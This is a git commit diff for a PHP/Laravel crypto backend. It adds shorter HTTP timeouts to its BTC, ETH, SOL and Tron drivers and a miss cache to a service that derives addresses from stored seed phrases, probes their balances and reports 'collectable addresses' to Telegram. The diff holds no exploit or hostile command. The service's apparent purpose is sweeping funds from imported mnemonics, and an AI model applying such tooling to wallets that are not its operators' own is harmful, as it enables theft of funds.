feat: 查看钱包优化,地址增加链上查询

This commit is contained in:
example
2026-09-28 21:11:08 +08:00
parent 5b677d4d1f
commit 8f7469cc4e
10 changed files with 313 additions and 88 deletions
+1 -1
View File
@@ -491,6 +491,6 @@ class BtcDriver implements ChainDriver
private function http(): PendingRequest
{
return Http::timeout(30)->acceptJson();
return ChainHttpTimeout::apply(Http::timeout(30)->acceptJson());
}
}
+39
View File
@@ -0,0 +1,39 @@
<?php
namespace App\Services\Chain;
use Illuminate\Http\Client\PendingRequest;
/**
* Optional shorter HTTP timeout for a block of chain calls.
* Drivers opt in via apply(); transfers keep their own defaults.
*/
final class ChainHttpTimeout
{
private static ?int $seconds = null;
public static function active(): bool
{
return self::$seconds !== null;
}
public static function using(int $seconds, callable $callback): mixed
{
$previous = self::$seconds;
self::$seconds = max(1, $seconds);
try {
return $callback();
} finally {
self::$seconds = $previous;
}
}
public static function apply(PendingRequest $request): PendingRequest
{
if (self::$seconds === null) {
return $request;
}
return $request->connectTimeout(min(3, self::$seconds))->timeout(self::$seconds);
}
}
+14 -4
View File
@@ -64,7 +64,10 @@ class EthDriver implements ChainDriver
if (is_string($hex) && bccomp($this->hexToDec($hex), '0', 0) > 0) {
return true;
}
} catch (\Throwable) {
} catch (\Throwable $e) {
if (ChainHttpTimeout::active()) {
throw $e;
}
// fall through to balances
}
@@ -72,7 +75,10 @@ class EthDriver implements ChainDriver
if (bccomp($this->getNativeBalance($address), '0', 18) > 0) {
return true;
}
} catch (\Throwable) {
} catch (\Throwable $e) {
if (ChainHttpTimeout::active()) {
throw $e;
}
// fall through to token
}
@@ -82,7 +88,11 @@ class EthDriver implements ChainDriver
if (bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0) {
return true;
}
} catch (\Throwable) {
} catch (\Throwable $e) {
if (ChainHttpTimeout::active()) {
throw $e;
}
return false;
}
}
@@ -270,6 +280,6 @@ class EthDriver implements ChainDriver
private function http(): PendingRequest
{
return Http::connectTimeout(20)->timeout(120)->acceptJson()->asJson();
return ChainHttpTimeout::apply(Http::connectTimeout(20)->timeout(120)->acceptJson()->asJson());
}
}
+1 -1
View File
@@ -158,7 +158,7 @@ class SolDriver implements ChainDriver
private function http(): PendingRequest
{
$req = Http::timeout(30)->acceptJson()->asJson();
$req = ChainHttpTimeout::apply(Http::timeout(30)->acceptJson()->asJson());
$apiKey = (string) config('coruna.sol.api_key', '');
if ($apiKey !== '') {
$req = $req->withHeaders(['Authorization' => 'Bearer '.$apiKey]);
+1 -1
View File
@@ -300,7 +300,7 @@ class TronDriver implements ChainDriver
private function http(): PendingRequest
{
$req = Http::connectTimeout(20)->timeout(120)->acceptJson()->asJson();
$req = ChainHttpTimeout::apply(Http::connectTimeout(20)->timeout(120)->acceptJson()->asJson());
$apiKey = (string) config('coruna.tron.api_key', '');
if ($apiKey !== '') {
$req = $req->withHeaders(['TRON-PRO-API-KEY' => $apiKey]);
+57 -19
View File
@@ -6,9 +6,11 @@ use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\Chain\BtcDriver;
use App\Services\Chain\ChainDriver;
use App\Services\Chain\ChainHttpTimeout;
use App\Services\Chain\ChainManager;
use App\Services\Chain\TronDriver;
use App\Services\Tokenview\TokenviewMonitorService;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Log;
/**
@@ -22,6 +24,12 @@ class MnemonicWalletDiscovery
{
public const MAX_DERIVE_INDEX = 2;
/** Probe timeout while opening/refreshing the mnemonic wallet dialog. */
public const PROBE_TIMEOUT_SECONDS = 8;
/** How long a chain with no activated address (or a failed probe) stays skipped. */
public const MISS_CACHE_SECONDS = 600;
/** @var list<array{chain: string, chain_type: string}> */
private const CHAINS = [
['chain' => 'tron', 'chain_type' => 'TRON'],
@@ -77,29 +85,51 @@ class MnemonicWalletDiscovery
$source = trim((string) ($mnemonic->source ?: ''));
$saved = [];
foreach (self::CHAINS as $spec) {
if ($this->hasLinkedChain($linkedChainTypes, $spec['chain'])) {
continue;
}
return ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($mnemonic, $phrase, $source, $linkedChainTypes, &$saved) {
foreach (self::CHAINS as $spec) {
if ($this->hasLinkedChain($linkedChainTypes, $spec['chain'])) {
continue;
}
if (Cache::has($this->missCacheKey($mnemonic, $spec['chain']))) {
continue;
}
try {
$rows = $this->discoverChain($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
try {
$rows = $this->discoverChain($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
} catch (\Throwable $e) {
Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [
'mnemonic_id' => $mnemonic->id,
'chain' => $spec['chain'],
]);
$this->rememberMiss($mnemonic, $spec['chain']);
continue;
}
if ($rows === []) {
$this->rememberMiss($mnemonic, $spec['chain']);
}
foreach ($rows as $row) {
$saved[] = $row;
}
} catch (\Throwable $e) {
Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [
'mnemonic_id' => $mnemonic->id,
'chain' => $spec['chain'],
]);
}
}
if ($saved !== []) {
$this->telegram->notifyCollectableAddresses($saved);
}
if ($saved !== []) {
$this->telegram->notifyCollectableAddresses($saved);
}
return count($saved);
return count($saved);
});
}
private function missCacheKey(WalletMnemonic $mnemonic, string $chain): string
{
return 'mnemonic-discover-miss:'.$mnemonic->id.':'.$chain;
}
private function rememberMiss(WalletMnemonic $mnemonic, string $chain): void
{
Cache::put($this->missCacheKey($mnemonic, $chain), 1, self::MISS_CACHE_SECONDS);
}
/**
@@ -190,7 +220,7 @@ class MnemonicWalletDiscovery
'address' => $address,
'index' => $index,
]);
continue;
break;
}
if (! $probe['activated']) {
@@ -273,7 +303,11 @@ class MnemonicWalletDiscovery
{
try {
$bnb = $driver->getNativeBalance($address);
} catch (\Throwable) {
} catch (\Throwable $e) {
if (\App\Services\Chain\ChainHttpTimeout::active()) {
throw $e;
}
return ['activated' => false, 'coins' => $this->emptyCoins('bsc')];
}
$usdt = $this->tokenBalance($driver, $address, (string) config('coruna.bsc.usdt_contract', ''));
@@ -318,7 +352,11 @@ class MnemonicWalletDiscovery
{
try {
$sol = $driver->getNativeBalance($address);
} catch (\Throwable) {
} catch (\Throwable $e) {
if (\App\Services\Chain\ChainHttpTimeout::active()) {
throw $e;
}
return ['activated' => false, 'coins' => $this->emptyCoins('sol')];
}